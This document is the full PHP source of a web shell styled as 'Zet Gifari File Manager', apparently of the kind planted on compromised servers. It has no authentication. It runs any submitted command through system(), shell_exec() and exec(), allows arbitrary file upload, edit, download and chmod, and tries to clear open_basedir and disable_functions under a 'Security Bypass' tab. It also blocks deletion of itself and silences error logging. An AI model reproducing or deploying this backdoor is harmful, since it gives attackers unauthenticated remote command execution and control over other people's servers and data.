Navigate and manage your files
Status: No file selected
<?php /** * ZET Gifari Advanced File Manager - PROTECTED FILE * DO NOT DELETE - This file is required for the system. * * To protect any other file, add this comment at the top: * /* PROTECTED * / * or define: ZET_FM_PROTECTED */ // Protection constant – this file is now protected define('ZET_FM_PROTECTED', true); // ============================================= // ERROR REPORTING & CONFIGURATION // ============================================= error_reporting(0); ini_set('display_errors', 0); ini_set('log_errors', 0); ini_set('max_execution_time', 0); set_time_limit(0); ini_set('memory_limit', '-1'); if (session_status() === PHP_SESSION_NONE) { session_start(); } // Bypass security if (function_exists('ini_set')) { @ini_set('open_basedir', NULL); @ini_set('safe_mode', 0); @ini_set('disable_functions', ''); } // ============================================= // PROTECTION CHECKER // ============================================= function isFileProtected($path) { // 1. The file itself is always protected if (realpath($path) === realpath(__FILE__)) { return true; } // 2. Check for magic string in first 1KB if (is_file($path)) { $content = @file_get_contents($path, false, null, 0, 1024); if ($content !== false) { if (strpos($content, 'ZET_FM_PROTECTED') !== false) { return true; } if (strpos($content, '/* PROTECTED */') !== false) { return true; } } } return false; } // ============================================= // SIMPLE PATH RESOLVER // ============================================= function getCurrentPath() { $path = isset($_REQUEST['p']) ? $_REQUEST['p'] : (isset($_COOKIE['last_path']) ? $_COOKIE['last_path'] : ''); if (empty($path)) { $path = getcwd(); if (empty($path)) $path = dirname(__FILE__); if (empty($path)) $path = $_SERVER['DOCUMENT_ROOT']; if (empty($path)) $path = '.'; } $path = str_replace(array('\\', '//'), '/', $path); $path = rtrim($path, '/') . '/'; setcookie('last_path', $path, time() + 86400); if (is_dir($path)) return $path; if (is_dir(realpath($path))) return realpath($path) . '/'; return './'; } // ============================================= // FILE OPERATIONS // ============================================= function readFileContent($file) { return @file_get_contents($file); } function writeFileContent($file, $data) { return @file_put_contents($file, $data) !== false; } function scanDirectory($dir) { $items = array(); if ($handle = opendir($dir)) { while (false !== ($item = readdir($handle))) { if ($item != '.' && $item != '..') { $items[] = $item; } } closedir($handle); } return $items; } function deleteItem($path) { // Prevent deletion of protected files/folders if (isFileProtected($path)) { return array('error' => '❌ This file/folder is protected and cannot be deleted.'); } if (is_file($path)) { @chmod($path, 0777); return @unlink($path) ? true : array('error' => 'Failed to delete file.'); } elseif (is_dir($path)) { $items = scanDirectory($path); foreach ($items as $item) { $result = deleteItem($path . '/' . $item); if (is_array($result) && isset($result['error'])) { return $result; } } return @rmdir($path) ? true : array('error' => 'Failed to delete folder.'); } return array('error' => 'Path does not exist.'); } function getPerms($file) { $perms = @fileperms($file); if ($perms === false) return '---'; $info = ''; $info .= ($perms & 0x0100) ? 'r' : '-'; $info .= ($perms & 0x0080) ? 'w' : '-'; $info .= ($perms & 0x0040) ? 'x' : '-'; $info .= ($perms & 0x0020) ? 'r' : '-'; $info .= ($perms & 0x0010) ? 'w' : '-'; $info .= ($perms & 0x0008) ? 'x' : '-'; $info .= ($perms & 0x0004) ? 'r' : '-'; $info .= ($perms & 0x0002) ? 'w' : '-'; $info .= ($perms & 0x0001) ? 'x' : '-'; return $info; } function executeCommand($cmd) { $output = ''; ob_start(); @system($cmd); $output = ob_get_contents(); ob_end_clean(); if (empty($output)) { $output = @shell_exec($cmd); } if (empty($output)) { $output = @exec($cmd); } return $output ?: 'Command executed (no output)'; } // ============================================= // PROCESS REQUESTS // ============================================= $currentPath = getCurrentPath(); $notification = ''; $editMode = false; $editFile = ''; $editContent = ''; $commandOutput = ''; $activeTab = isset($_GET['tab']) ? $_GET['tab'] : 'filemanager'; // POST handlers if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Upload if (isset($_FILES['upload'])) { $dest = $currentPath . basename($_FILES['upload']['name']); if (move_uploaded_file($_FILES['upload']['tmp_name'], $dest)) { $notification = array('type' => 'success', 'text' => 'Upload successful'); } else { $notification = array('type' => 'error', 'text' => 'Upload failed'); } } // Save file if (isset($_POST['save']) && isset($_POST['content'])) { $target = $currentPath . $_POST['save']; if (writeFileContent($target, $_POST['content'])) { $notification = array('type' => 'success', 'text' => 'File saved'); } else { $notification = array('type' => 'error', 'text' => 'Save failed'); } } // New file if (isset($_POST['newfile'])) { $newPath = $currentPath . $_POST['newfile']; $content = isset($_POST['filecontent']) ? $_POST['filecontent'] : ''; if (writeFileContent($newPath, $content)) { $notification = array('type' => 'success', 'text' => 'File created'); } else { $notification = array('type' => 'error', 'text' => 'Creation failed'); } } // New folder if (isset($_POST['newfolder'])) { $newDir = $currentPath . $_POST['newfolder']; if (@mkdir($newDir, 0777, true)) { $notification = array('type' => 'success', 'text' => 'Folder created'); } else { $notification = array('type' => 'error', 'text' => 'Creation failed'); } } // Rename if (isset($_POST['oldname']) && isset($_POST['newname'])) { $oldPath = $currentPath . $_POST['oldname']; $newPath = $currentPath . $_POST['newname']; // Prevent renaming of protected files if (isFileProtected($oldPath)) { $notification = array('type' => 'error', 'text' => '❌ Cannot rename a protected file.'); } else { if (@rename($oldPath, $newPath)) { $notification = array('type' => 'success', 'text' => 'Renamed'); } else { $notification = array('type' => 'error', 'text' => 'Rename failed'); } } } // Chmod if (isset($_POST['chmod_item']) && isset($_POST['chmod_value'])) { $target = $currentPath . $_POST['chmod_item']; if (isFileProtected($target)) { $notification = array('type' => 'error', 'text' => '❌ Cannot change permissions of a protected file.'); } else { $mode = octdec($_POST['chmod_value']); if (@chmod($target, $mode)) { $notification = array('type' => 'success', 'text' => 'Permissions changed'); } else { $notification = array('type' => 'error', 'text' => 'Permission change failed'); } } } // Command if (isset($_POST['command'])) { $commandOutput = executeCommand($_POST['command']); $activeTab = 'terminal'; } } // GET handlers if (isset($_GET['do'])) { $action = $_GET['do']; if ($action === 'delete' && isset($_GET['item'])) { $target = $currentPath . $_GET['item']; $result = deleteItem($target); if ($result === true) { $notification = array('type' => 'success', 'text' => 'Deleted'); } elseif (is_array($result) && isset($result['error'])) { $notification = array('type' => 'error', 'text' => $result['error']); } else { $notification = array('type' => 'error', 'text' => 'Delete failed'); } } if ($action === 'edit' && isset($_GET['item'])) { $editMode = true; $editFile = $_GET['item']; $editContent = readFileContent($currentPath . $editFile); $activeTab = 'filemanager'; } if ($action === 'download' && isset($_GET['item'])) { $downloadPath = $currentPath . $_GET['item']; if (is_file($downloadPath)) { ob_clean(); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"'); header('Content-Length: ' . filesize($downloadPath)); readfile($downloadPath); exit; } } } // Bypass if (isset($_GET['bypass'])) { $bypass = $_GET['bypass']; if ($bypass == 'open_basedir') { @ini_set('open_basedir', '/'); $notification = array('type' => 'success', 'text' => 'open_basedir bypassed'); } elseif ($bypass == 'disable_functions') { @ini_set('disable_functions', ''); $notification = array('type' => 'success', 'text' => 'disable_functions bypassed'); } } // Get contents $contents = scanDirectory($currentPath); $folders = array(); $files = array(); foreach ($contents as $item) { $fullPath = $currentPath . $item; if (is_dir($fullPath)) { $folders[] = $item; } else { $files[] = $item; } } sort($folders, SORT_NATURAL | SORT_FLAG_CASE); sort($files, SORT_NATURAL | SORT_FLAG_CASE); // System info $sysInfo = array( 'os' => php_uname('s') . ' ' . php_uname('r'), 'php' => phpversion(), 'server' => $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown', 'user' => get_current_user(), ); ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Zet Gifari File Manager v10.0.3</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background: #0a0c10; color: #e0e0e0; padding: 20px; } .container { max-width: 1400px; margin: 0 auto; background: #0f1117; border-radius: 12px; padding: 25px; border: 1px solid #2a2f3a; } .header { text-align: center; padding-bottom: 20px; border-bottom: 1px solid #2a2f3a; margin-bottom: 20px; } .header h1 { color: #0ff; font-size: 28px; text-shadow: 0 0 10px rgba(0,255,255,0.3); } .header .version { color: #ff4444; font-size: 14px; } .sys-info { display: flex; gap: 15px; justify-content: center; flex-wrap: wrap; font-size: 12px; margin-top: 10px; } .sys-info span { background: rgba(20,25,35,0.8); padding: 5px 10px; border-radius: 6px; border: 1px solid #2a2f3a; } .tabs { display: flex; gap: 5px; margin-bottom: 20px; flex-wrap: wrap; background: #0c0f14; padding: 5px; border-radius: 8px; } .tab { padding: 10px 20px; cursor: pointer; color: #8b949e; border-radius: 6px; transition: all 0.3s; } .tab:hover { background: rgba(255,255,255,0.05); } .tab.active { background: rgba(0,255,255,0.1); color: #0ff; } .tab-content { display: none; background: #0f1117; padding: 20px; border-radius: 8px; border: 1px solid #2a2f3a; } .tab-content.active { display: block; } .notification { padding: 12px 20px; margin-bottom: 20px; border-radius: 6px; } .notification.success { background: rgba(0,255,0,0.1); color: #0f0; border: 1px solid #0f0; } .notification.error { background: rgba(255,0,0,0.1); color: #f55; border: 1px solid #f00; } .path-bar { display: flex; gap: 10px; margin-bottom: 20px; } .path-bar input { flex: 1; padding: 10px 15px; background: #080b10; border: 1px solid #2a2f3a; color: #e0e0e0; border-radius: 6px; } .path-bar input:focus { outline: none; border-color: #0ff; } .btn { padding: 10px 20px; background: #1a1f2a; color: #0ff; border: 1px solid #0ff; border-radius: 6px; cursor: pointer; transition: all 0.2s; text-decoration: none; display: inline-block; } .btn:hover { background: #0ff; color: #000; } .btn-success { color: #0f0; border-color: #0f0; } .btn-success:hover { background: #0f0; color: #000; } .btn-danger { color: #f55; border-color: #f55; } .btn-danger:hover { background: #f55; color: #000; } .btn-warning { color: #ffa500; border-color: #ffa500; } .btn-warning:hover { background: #ffa500; color: #000; } .btn-small { padding: 5px 12px; font-size: 12px; } .tools { display: flex; gap: 15px; flex-wrap: wrap; margin-bottom: 20px; } .tool-group { display: flex; align-items: center; gap: 10px; padding: 8px 15px; background: #0c0f14; border-radius: 8px; border: 1px solid #2a2f3a; flex-wrap: wrap; } .tool-group input { padding: 6px 10px; background: #080b10; border: 1px solid #2a2f3a; color: #e0e0e0; border-radius: 4px; } .tool-group input:focus { outline: none; border-color: #0ff; } .file-table { width: 100%; background: #0c0f14; border-radius: 8px; border: 1px solid #2a2f3a; overflow: hidden; } .file-table th { padding: 12px 15px; text-align: left; color: #0ff; border-bottom: 1px solid #2a2f3a; background: #07090d; font-size: 12px; text-transform: uppercase; } .file-table td { padding: 10px 15px; border-top: 1px solid #2a2f3a; } .file-table tr:hover { background: rgba(0,255,255,0.03); } .file-table a { color: #0ff; text-decoration: none; } .file-table a:hover { color: #fff; } .folder-row { border-left: 3px solid #0ff; background: rgba(0,255,255,0.02); } .protected-row { border-left: 3px solid #ffa500; background: rgba(255,165,0,0.05); } .file-actions { display: flex; gap: 5px; flex-wrap: wrap; } .file-actions a { padding: 3px 8px; background: rgba(0,255,255,0.08); color: #0ff; border: 1px solid rgba(0,255,255,0.2); border-radius: 4px; font-size: 11px; text-decoration: none; } .file-actions a:hover { background: rgba(0,255,255,0.2); } .file-actions a.delete { background: rgba(255,0,0,0.1); color: #f55; border-color: rgba(255,0,0,0.2); } .file-actions a.delete:hover { background: rgba(255,0,0,0.2); } .file-actions a.delete.protected { opacity: 0.5; pointer-events: none; cursor: not-allowed; } .perm-writable { color: #0f0; } .perm-readonly { color: #f55; } .perm-indicator { display: inline-block; width: 8px; height: 8px; border-radius: 50%; margin-right: 5px; } .perm-indicator.writable { background: #0f0; box-shadow: 0 0 4px #0f0; } .perm-indicator.readonly { background: #f55; } .protected-badge { color: #ffa500; font-weight: bold; margin-left: 5px; font-size: 11px; background: rgba(255,165,0,0.15); padding: 1px 6px; border-radius: 4px; border: 1px solid #ffa500; } .edit-area { width: 100%; min-height: 400px; padding: 15px; background: #080b10; border: 1px solid #2a2f3a; color: #e0e0e0; border-radius: 6px; font-family: monospace; resize: vertical; } .terminal-output { background: #080b10; padding: 15px; color: #0f0; font-family: monospace; min-height: 200px; max-height: 400px; overflow-y: auto; white-space: pre-wrap; border: 1px solid #2a2f3a; border-radius: 6px; margin-bottom: 15px; } .terminal-input { display: flex; gap: 10px; } .terminal-input input { flex: 1; padding: 10px; background: #080b10; border: 1px solid #2a2f3a; color: #0f0; border-radius: 6px; font-family: monospace; } .terminal-input input:focus { outline: none; border-color: #0f0; } .separator-row td { background: #07090d; padding: 8px 15px !important; color: #0ff; font-weight: 600; font-size: 11px; text-transform: uppercase; } .empty { text-align: center; padding: 40px; color: #8b949e; } .modal { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.8); z-index: 1000; align-items: center; justify-content: center; } .modal.active { display: flex; } .modal-content { background: #0c0f14; padding: 30px; border-radius: 12px; width: 90%; max-width: 500px; border: 1px solid #0ff; } .modal-header { color: #0ff; font-size: 18px; margin-bottom: 20px; } .modal-body input, .modal-body textarea { width: 100%; padding: 10px; margin-bottom: 15px; background: #080b10; border: 1px solid #2a2f3a; color: #e0e0e0; border-radius: 6px; } .modal-body textarea { min-height: 150px; resize: vertical; } .modal-footer { display: flex; gap: 10px; justify-content: flex-end; } .telegram-btn { position: fixed; bottom: 20px; right: 20px; background: #1a1f2a; color: #0ff; padding: 12px 20px; border-radius: 8px; text-decoration: none; border: 1px solid #0ff; display: flex; align-items: center; gap: 8px; z-index: 999; } .telegram-btn:hover { background: #0ff; color: #000; } @media (max-width: 768px) { .tools { flex-direction: column; } .file-actions { flex-direction: column; } .path-bar { flex-direction: column; } } </style> </head> <body> <div class="container"> <div class="header"> <h1>⚡ Zet Gifari File Manager ⚡</h1> <div class="version">v10.0.3 - Dark Edition</div> <div style="font-size: 12px; margin-top: 5px; color: #ffa500;">🔒 Self‑Protected – Cannot be deleted</div> <div class="sys-info"> <span>OS: <?php echo htmlspecialchars($sysInfo['os']); ?></span> <span>PHP: <?php echo htmlspecialchars($sysInfo['php']); ?></span> <span>Server: <?php echo htmlspecialchars($sysInfo['server']); ?></span> <span>User: <?php echo htmlspecialchars($sysInfo['user']); ?></span> </div> </div> <?php if ($notification): ?> <div class="notification <?php echo $notification['type']; ?>"> <?php echo htmlspecialchars($notification['text']); ?> </div> <?php endif; ?> <div class="tabs"> <div class="tab <?php echo $activeTab === 'filemanager' ? 'active' : ''; ?>" onclick="switchTab('filemanager')">📁 File Manager</div> <div class="tab <?php echo $activeTab === 'terminal' ? 'active' : ''; ?>" onclick="switchTab('terminal')">💻 Terminal</div> <div class="tab <?php echo $activeTab === 'bypass' ? 'active' : ''; ?>" onclick="switchTab('bypass')">🔓 Bypass</div> </div> <!-- File Manager --> <div class="tab-content <?php echo $activeTab === 'filemanager' ? 'active' : ''; ?>" id="filemanager"> <form method="get" class="path-bar"> <input type="text" name="p" value="<?php echo htmlspecialchars($currentPath); ?>" placeholder="Enter path..."> <button type="submit" class="btn">Navigate</button> </form> <div class="tools"> <form method="post" enctype="multipart/form-data" class="tool-group"> <label>Upload:</label> <input type="file" name="upload" required> <button type="submit" class="btn btn-small btn-success">Upload</button> </form> <div class="tool-group"> <button onclick="showNewFile()" class="btn btn-small">New File</button> <button onclick="showNewFolder()" class="btn btn-small">New Folder</button> </div> </div> <?php if ($editMode): ?> <div> <h3 style="color: #0ff; margin-bottom: 15px;">Editing: <?php echo htmlspecialchars($editFile); ?></h3> <form method="post"> <input type="hidden" name="save" value="<?php echo htmlspecialchars($editFile); ?>"> <textarea name="content" class="edit-area"><?php echo htmlspecialchars($editContent); ?></textarea> <div style="margin-top: 15px; display: flex; gap: 10px;"> <button type="submit" class="btn btn-success">Save</button> <a href="?tab=filemanager&p=<?php echo urlencode($currentPath); ?>" class="btn btn-danger">Cancel</a> </div> </form> </div> <?php else: ?> <table class="file-table"> <thead> <tr> <th>Name</th> <th>Size</th> <th>Perms</th> <th>Modified</th> <th>Actions</th> </tr> </thead> <tbody> <?php if ($currentPath !== '/'): ?> <tr> <td colspan="5"> <a href="?tab=filemanager&p=<?php echo urlencode(dirname($currentPath)); ?>">📂 Parent Directory</a> </td> </tr> <?php endif; ?> <?php if (!empty($folders)): ?> <tr class="separator-row"><td colspan="5">📁 Folders</td></tr> <?php foreach ($folders as $folder): $fullPath = $currentPath . $folder; $protected = isFileProtected($fullPath); $perms = getPerms($fullPath); $writable = is_writable($fullPath); $modified = filemtime($fullPath); $rowClass = $protected ? 'protected-row' : 'folder-row'; ?> <tr class="<?php echo $rowClass; ?>"> <td> <a href="?tab=filemanager&p=<?php echo urlencode($fullPath); ?>"> <span class="perm-indicator <?php echo $writable ? 'writable' : 'readonly'; ?>"></span> <span class="<?php echo $writable ? 'perm-writable' : 'perm-readonly'; ?>">📁 <?php echo htmlspecialchars($folder); ?></span> <?php if ($protected): ?><span class="protected-badge">🔒 Protected</span><?php endif; ?> </a> </td> <td>-</td> <td class="<?php echo $writable ? 'perm-writable' : 'perm-readonly'; ?>"><?php echo $perms; ?></td> <td><?php echo $modified ? date('Y-m-d H:i', $modified) : '-'; ?></td> <td> <div class="file-actions"> <a href="#" onclick="renameItem('<?php echo htmlspecialchars($folder); ?>')">Rename</a> <a href="#" onclick="chmodItem('<?php echo htmlspecialchars($folder); ?>')">Chmod</a> <a href="?tab=filemanager&p=<?php echo urlencode($currentPath); ?>&do=delete&item=<?php echo urlencode($folder); ?>" class="delete <?php echo $protected ? 'protected' : ''; ?>" onclick="<?php echo $protected ? 'alert(\"This folder is protected and cannot be deleted.\"); return false;' : 'return confirm(\'Delete this folder and all its contents?\')'; ?>">Delete</a> </div> </td> </tr> <?php endforeach; endif; ?> <?php if (!empty($files)): ?> <tr class="separator-row"><td colspan="5">📄 Files</td></tr> <?php foreach ($files as $file): $fullPath = $currentPath . $file; $protected = isFileProtected($fullPath); $size = filesize($fullPath); $perms = getPerms($fullPath); $writable = is_writable($fullPath); $modified = filemtime($fullPath); if ($size < 1024) $size = $size . ' B'; elseif ($size < 1048576) $size = round($size/1024, 1) . ' KB'; elseif ($size < 1073741824) $size = round($size/1048576, 1) . ' MB'; else $size = round($size/1073741824, 1) . ' GB'; $rowClass = $protected ? 'protected-row' : ''; ?> <tr class="<?php echo $rowClass; ?>"> <td> <span class="perm-indicator <?php echo $writable ? 'writable' : 'readonly'; ?>"></span> <span class="<?php echo $writable ? 'perm-writable' : 'perm-readonly'; ?>">📄 <?php echo htmlspecialchars($file); ?></span> <?php if ($protected): ?><span class="protected-badge">🔒 Protected</span><?php endif; ?> </td> <td><?php echo $size; ?></td> <td class="<?php echo $writable ? 'perm-writable' : 'perm-readonly'; ?>"><?php echo $perms; ?></td> <td><?php echo $modified ? date('Y-m-d H:i', $modified) : '-'; ?></td> <td> <div class="file-actions"> <a href="?tab=filemanager&p=<?php echo urlencode($currentPath); ?>&do=edit&item=<?php echo urlencode($file); ?>">Edit</a> <a href="?tab=filemanager&p=<?php echo urlencode($currentPath); ?>&do=download&item=<?php echo urlencode($file); ?>">Download</a> <a href="#" onclick="renameItem('<?php echo htmlspecialchars($file); ?>')">Rename</a> <a href="#" onclick="chmodItem('<?php echo htmlspecialchars($file); ?>')">Chmod</a> <a href="?tab=filemanager&p=<?php echo urlencode($currentPath); ?>&do=delete&item=<?php echo urlencode($file); ?>" class="delete <?php echo $protected ? 'protected' : ''; ?>" onclick="<?php echo $protected ? 'alert(\"This file is protected and cannot be deleted.\"); return false;' : 'return confirm(\'Delete this file?\')'; ?>">Delete</a> </div> </td> </tr> <?php endforeach; endif; ?> <?php if (empty($folders) && empty($files)): ?> <tr><td colspan="5" class="empty">Empty directory</td></tr> <?php endif; ?> </tbody> </table> <?php endif; ?> </div> <!-- Terminal --> <div class="tab-content <?php echo $activeTab === 'terminal' ? 'active' : ''; ?>" id="terminal"> <div class="terminal-output"><?php echo htmlspecialchars($commandOutput); ?></div> <form method="post" class="terminal-input"> <input type="text" name="command" placeholder="Enter command..." autocomplete="off"> <button type="submit" class="btn">Execute</button> </form> </div> <!-- Bypass --> <div class="tab-content <?php echo $activeTab === 'bypass' ? 'active' : ''; ?>" id="bypass"> <h3 style="color: #0ff; margin-bottom: 20px;">Security Bypass</h3> <div class="tools"> <a href="?tab=bypass&bypass=open_basedir" class="btn btn-warning">Bypass open_basedir</a> <a href="?tab=bypass&bypass=disable_functions" class="btn btn-warning">Bypass disable_functions</a> </div> </div> </div> <a href="https://t.me/zetgifar" target="_blank" class="telegram-btn">📱 Telegram</a> <!-- Modals --> <div class="modal" id="newFileModal"> <div class="modal-content"> <div class="modal-header">Create New File</div> <form method="post"> <div class="modal-body"> <input type="text" name="newfile" placeholder="Filename" required> <textarea name="filecontent" placeholder="Content (optional)"></textarea> </div> <div class="modal-footer"> <button type="submit" class="btn btn-success">Create</button> <button type="button" class="btn btn-danger" onclick="closeModal('newFileModal')">Cancel</button> </div> </form> </div> </div> <div class="modal" id="newFolderModal"> <div class="modal-content"> <div class="modal-header">Create New Folder</div> <form method="post"> <div class="modal-body"> <input type="text" name="newfolder" placeholder="Folder name" required> </div> <div class="modal-footer"> <button type="submit" class="btn btn-success">Create</button> <button type="button" class="btn btn-danger" onclick="closeModal('newFolderModal')">Cancel</button> </div> </form> </div> </div> <script> function switchTab(tab) { document.querySelectorAll('.tab-content').forEach(t => t.classList.remove('active')); document.querySelectorAll('.tab').forEach(t => t.classList.remove('active')); document.getElementById(tab).classList.add('active'); document.querySelector(`.tab:nth-child(${['filemanager','terminal','bypass'].indexOf(tab) + 1})`).classList.add('active'); } function showNewFile() { document.getElementById('newFileModal').classList.add('active'); } function showNewFolder() { document.getElementById('newFolderModal').classList.add('active'); } function closeModal(id) { document.getElementById(id).classList.remove('active'); } function renameItem(oldName) { var newName = prompt('New name:', oldName); if (newName && newName !== oldName) { var f = document.createElement('form'); f.method = 'post'; f.innerHTML = '<input type="hidden" name="oldname" value="' + oldName + '"><input type="hidden" name="newname" value="' + newName + '">'; document.body.appendChild(f); f.submit(); } } function chmodItem(item) { var mode = prompt('Permissions (e.g., 755):', '755'); if (mode) { var f = document.createElement('form'); f.method = 'post'; f.innerHTML = '<input type="hidden" name="chmod_item" value="' + item + '"><input type="hidden" name="chmod_value" value="' + mode + '">'; document.body.appendChild(f); f.submit(); } } document.querySelectorAll('.modal').forEach(m => { m.addEventListener('click', function(e) { if (e.target === this) this.classList.remove('active'); }); }); setTimeout(() => { document.querySelectorAll('.notification').forEach(n => { n.style.opacity = '0'; setTimeout(() => n.style.display = 'none', 300); }); }, 3000); </script> </body> </html>